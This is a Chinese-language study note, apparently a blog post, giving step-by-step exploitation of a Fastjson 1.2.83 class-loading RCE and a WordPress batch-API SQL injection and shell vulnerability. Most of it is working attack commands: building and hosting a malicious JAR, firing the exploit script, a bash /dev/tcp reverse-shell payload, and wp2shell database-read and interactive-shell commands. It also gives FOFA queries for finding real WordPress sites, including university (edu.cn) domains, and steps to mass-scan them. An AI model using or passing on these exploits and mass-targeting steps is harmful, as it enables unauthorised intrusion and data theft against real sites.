AIGC标识 Fastjson 1.2.83 RCE 漏洞利用 + CVE-2026-63030/60137 Wp2Shell 命令执行 & SQL 注入—— 学习笔记

前置知识

  • Fastjson:Java 生态下的 JSON 序列化/反序列化库(补充:由阿里巴巴开源)。漏洞利用围绕它在解析 @type 字段时自动加载类的机制展开。
  • @type 与 checkAutoType:Fastjson 在解析 JSON 时遇到 @type 字段会调用 checkAutoType 方法尝试加载指定类,这是反序列化类漏洞的根源性机制。
  • autoTypeSupport / safeMode:Fastjson 的两个安全开关。内容明确指出漏洞触发条件为二者均为 false
  • LaunchedURLClassLoader:Spring Boot FatJar 内置的类加载器,支持通过 jar: 协议 URL 远程加载 JAR 包中的类,是本次 Fastjson 漏洞能在 Spring Boot 环境下落地为 RCE 的关键载体。
  • JAR URL 协议(jar:http://host/x.jar!/Class.class:一种用 URL 指向 JAR 包内部类的寻址方式,Fastjson 会把构造的 @type 值转换成这种 URL 进而远程加载类。
  • Spring Boot:漏洞靶场所用的 Web 框架,打包产物为内置全部依赖与 LaunchedURLClassLoader 的 FatJar。
  • WordPress REST API 与 /wp-json/batch/v1:WordPress 自 5.6 起内置的批量请求端点,可将多个子请求合并为单次 HTTP 调用;漏洞利用其"路由混淆(route-confusion)"行为实现未授权数据库查询。
  • 时间盲注 / 报错盲注:SQL 注入的两种检测模式,内容中作为批量扫描工具的 --check-type 参数出现。
  • RCE / SQL 注入 / 反弹 shell:文中直接使用的攻击结果名词;若需基础概念补充,需自行补充。

工具与命令清单

  • java -version — 校验 Java 版本(漏洞触发需 JDK 8,JDK 9+ 可能仅触发 SSRF)
  • python3 --version — 校验 Python 版本(需大于 3.10)
  • mvn package — Maven 打包源码为可运行 jar(靶场已打包,target 目录已有产物,无需重新编译)
  • java -jar target/fastjson-rce-env-1.0.0.jar — 启动 Fastjson 靶场,默认监听 18080 端口
  • javac -cp "poc/lib/*" -d poc poc/GenProbe.java — 编译恶意 payload 生成器 GenProbe
  • java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 127.0.0.1 19090 "open -a Calculator" — 生成恶意 probe.jar(Windows 把最后参数改为 "calc"
  • cd poc/www && python3 -m http.server 19090 — 在 poc/www 目录启动 HTTP 托管服务,供靶场远程下载恶意 JAR
  • python3 poc/exp.py -u http://127.0.0.1:18080/parse -poc http://127.0.0.1:19090/probe — 构造并发送攻击 Payload,触发漏洞
  • nc -lvnp 4444 — 监听反弹 shell 端口(Windows 可用 nc -lvn 4444
  • java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 127.0.0.1 19090 "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1" — 生成用于反弹 shell 的恶意 JAR
  • docker-compose up -d — 启动 WordPress 靶场容器
  • docker-compose exec web chown -R www-data:www-data /var/www/html — 赋予目录权限,避免安装报错
  • python3 wp2shell.py check http://localhost:8090/ — 漏洞存活检测
  • python3 wp2shell.py read http://127.0.0.1:8090 --query "SELECT DATABASE()" — 通过 SQL 注入读取当前数据库名
  • python3 wp2shell.py read http://127.0.0.1:8090 --query "SELECT @@version" — 通过 SQL 注入读取数据库版本
  • python3 wp2shell.py shell http://localhost:8090/ -i — 获取交互式命令执行 shell(RCE)
  • pip3 install -r requirements.txt — 安装批量扫描脚本依赖
  • python3 wp2shell-scan.py check -l targets.txt — 批量检测目标(默认时间盲注)
  • FOFA 语法 app="WordPress" — 检索 WordPress 资产
  • FOFA 语法 app="WordPress" && host="edu.cn" — 检索教育网(edu.cn)下的 WordPress 资产
  • Maven — 靶场 Java 项目构建工具
  • asm-9.6.jar — 字节码生成工具,编译 GenProbe 时必须引入
  • Docker / docker-compose — WordPress 靶场容器化运行环境
  • nc(netcat)— 反弹 shell 监听工具
  • Yakit — 安全测试工具,可用其插件做批量漏洞扫描

一、Fastjson 1.2.83 RCE 漏洞利用

1.1 漏洞背景与影响范围

2026 年 7 月 19 日,KirillFirsov(@k_firsov)公开了一个影响 Fastjson 1.2.68 至 1.2.83 的远程代码执行(RCE)漏洞,作者披露原文见 https://x.com/k_firsov/status/2078872293745570032

内容中明确列出的受影响与触发条件:

  • 受影响版本:Fastjson 1.2.66 – 1.2.83
  • 运行环境:JDK 8(JDK 9+ 可能仅触发 SSRF,无法触发 RCE)
  • 安全开关:autoTypeSupportfalsesafeModefalse

这解释了为什么这套利用对环境如此挑剔——它依赖 JDK 8 下特定的类加载行为与 Fastjson 尚未开启安全模式的配置组合。

1.2 靶场环境结构(fastjson-1.2.83-rce-main.zip)

下载并解压漏洞环境压缩包后,目录结构及作用如下:

  • pom.xml:Maven 项目配置文件,定义靶场依赖与打包规则,核心引入 fastjson 1.2.83Spring Boot;通过 mvn package 可将源码打包为可直接运行的 jar。target 目录已存在编译产物,说明已完成打包,无需重新编译。
  • src 目录:Spring Boot Web 项目源码,核心漏洞入口为 src/main/java/com/vuln/fastjson/controller/ParseController.java,功能是接收 HTTP POST 的 JSON 数据并调用 JSON.parse() 执行解析——这就是漏洞触发点。
  • target 目录:Maven 编译打包输出目录,核心文件是 fastjson-rce-env-1.0.0.jar。这是 Spring Boot 打包的 FatJar(胖包),内置全部依赖与 LaunchedURLClassLoader,是满足漏洞触发条件的靶场程序,可直接 java -jar 启动。
  • poc 目录:漏洞利用工具集(攻击核心文件全部在此):
    • GenProbe.java:恶意 JAR 生成器源码,用于生成包含恶意代码的 probe.jar,恶意代码写在静态代码块 <clinit> 中,类加载时自动执行命令。
    • exp.py:攻击脚本,自动构造 JSON Payload 并向靶场接口发送请求,触发漏洞。
    • lib/ 目录:编译依赖库,包含 asm-9.6.jar(字节码生成工具)与 fastjson-1.2.83.jar,编译 GenProbe.java 时必须引入。
    • www/ 目录:HTTP 托管目录,生成的恶意 probe.jar 放在此处,用 Python 启动 HTTP 服务后,靶场将从该目录远程下载恶意 JAR。

1.3 漏洞原理

Fastjson 在处理 @type 字段时,会调用 checkAutoType 方法尝试加载类。攻击者可以构造一个特殊的 @type 值,例如:

jar:http:..2130706433:19090.probe!.POC

其中 2130706433127.0.0.1 的十进制整数表示,用于绕过点号(.)替换逻辑。Fastjson 会将该值转换为 JAR URL:

jar:http://127.0.0.1:19090/probe!/POC.class

在 Spring Boot 的 LaunchedURLClassLoader 环境下,这个 URL 会被解析并远程加载一个恶意 JAR 包。JAR 包中的静态代码块(<clinit>)会在类加载时自动执行,从而实现任意代码执行。

理解要点:这个漏洞的"巧妙"之处在于它没有直接命令执行,而是借 Fastjson 解析 @type 时的类加载机制,把一个远程 JAR 的 URL 伪装成类名喂给类加载器,再由 Spring Boot 的类加载器真的去下载并执行——所以靶场必须能访问到攻击者托管的 HTTP 服务,且必须用 JDK 8 的类加载行为才能落地。

1.4 实操

基础环境校验

java -version
python3 --version

预期:Java 显示 JDK 8;Python 版本大于 3.10。

启动漏洞靶场

java -jar target/fastjson-rce-env-1.0.0.jar

预期:靶场启动,默认监听 18080 端口。浏览器访问 http://127.0.0.1:18080/ 可正常打开页面。

场景一:弹计算器

  1. 编译恶意 payload 脚本:
javac -cp "poc/lib/*" -d poc poc/GenProbe.java

预期:编译成功,无报错。

  1. 生成恶意 probe.jar(Windows 把最后参数改为 "calc",macOS 示例为 "open -a Calculator"):
java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 127.0.0.1 19090 "open -a Calculator"

预期:在 poc/www/ 目录下生成 probe 文件(即恶意 JAR 包)。

  1. 启动 HTTP 文件托管服务(靶场需通过 HTTP 下载恶意 JAR):
cd poc/www && python3 -m http.server 19090

预期:HTTP 服务在 19090 端口启动,可访问到 probe

  1. 执行恶意 payload,弹计算器:
python3 poc/exp.py -u http://127.0.0.1:18080/parse -poc http://127.0.0.1:19090/probe

预期:靶场加载恶意 JAR,静态代码块执行,本地弹出计算器。

场景二:反弹 shell

  1. 提前新开终端监听 4444 端口:
nc -lvnp 4444

(Windows 可用 nc -lvn 4444

预期:netcat 进入监听状态,等待连接。

  1. 生成用于反弹 shell 的恶意 JAR:
java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 127.0.0.1 19090 "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"

预期:在 poc/www/ 生成新的 probe

  1. 运行 exp.py 发送攻击 Payload:
python3 poc/exp.py -u http://127.0.0.1:18080/parse -poc http://127.0.0.1:19090/probe

预期:靶场反向连接 4444 端口,监听端获得交互式 shell,反弹 shell 成功。

二、CVE-2026-63030/60137 Wp2Shell 命令执行 + SQL 注入

2.1 漏洞背景与影响版本

WordPress 内置 REST API,允许开发者通过 HTTP 请求与站点进行数据交互,实现前后端分离、移动应用对接及第三方服务集成。其批量请求端点 /wp-json/batch/v1 自 5.6 版本起内置,用于将多个子请求打包为单次 HTTP 调用以提升性能。攻击者无需身份认证即可通过漏洞链触发数据库查询,实现管理员账户信息泄露——可实现未授权 SQL 注入获取管理员密码哈希,再通过破解管理员密码并利用插件安装功能实现代码执行。

影响版本:

  • WordPress 6.8.0 – 6.85
  • WordPress 6.9.0 – 6.9.4
  • WordPress 7.0.0 – 7.0.1

利用条件:目标系统的 REST API 接口处于开启状态(WordPress 默认开启)。

资产检索(FOFA):

app="WordPress"

教育网资产也可用:

app="WordPress" && host="edu.cn"

2.2 靶场环境搭建

先下载官方 WordPress 6.9.4 源码:https://wordpress.org/wordpress-6.9.4.tar.gz

进入 wordpress 文件夹,在同目录新建 docker-compose.yml(内容见原文配置),随后启动环境:

# 启动容器
docker-compose up -d

# 给目录权限,避免安装报错
docker-compose exec web chown -R www-data:www-data /var/www/html

预期:容器启动完成,目录权限已修正。浏览器访问 http://localhost:8090/ 可打开 WordPress 安装/首页。

2.3 漏洞利用

POC 脚本 GitHub 项目地址:https://github.com/Icex0/wp2shell-poc

1、漏洞存活检测

python3 wp2shell.py check http://localhost:8090/

重点关注这一行,若存在说明目标存在 Batch 路由混淆行为:

[+] VULNERABLE — batch route-confusion behavior detected.

2、SQL 注入漏洞

python3 wp2shell.py read http://127.0.0.1:8090 --query "SELECT DATABASE()"
python3 wp2shell.py read http://127.0.0.1:8090 --query "SELECT @@version"

预期:无需认证即可读取数据库名、数据库版本等敏感信息。

3、命令执行 RCE

python3 wp2shell.py shell http://localhost:8090/ -i

预期:获得交互式命令执行 shell。

2.4 批量刷分与 Yakit 插件

FOFA 检索资产后导出,使用批量检测脚本批量测试,GitHub 项目地址:https://github.com/fullhunt/wp2shell-scan

安装依赖:

pip3 install -r requirements.txt

扫描脚本参数说明:

  • -u:单个目标
  • -f:批量目标文件(txt,一行一个 URL)
  • -o:输出结果文件
  • --check-type:检测模式
    • time-based:时间盲注(推荐,无破坏、最稳定)
    • error-based:报错盲注(速度快,部分站点会拦截报错)
  • --timeout:请求超时时间
  • --delay:盲注休眠时长(默认 3 秒)

批量检测命令(时间盲注,推荐):

python3 wp2shell-scan.py check -l targets.txt

预期:存在漏洞的目标会显示对应的漏洞提示行。

此外,可使用 Yakit 的对应 CVE 漏洞插件进行批量扫描:下载对应 CVE 漏洞插件后批量导入目标,即可直接查看存在漏洞的资产。

参考链接

posted @ 2026-08-08 16:38  xsec  阅读(39)  评论(0)    收藏  举报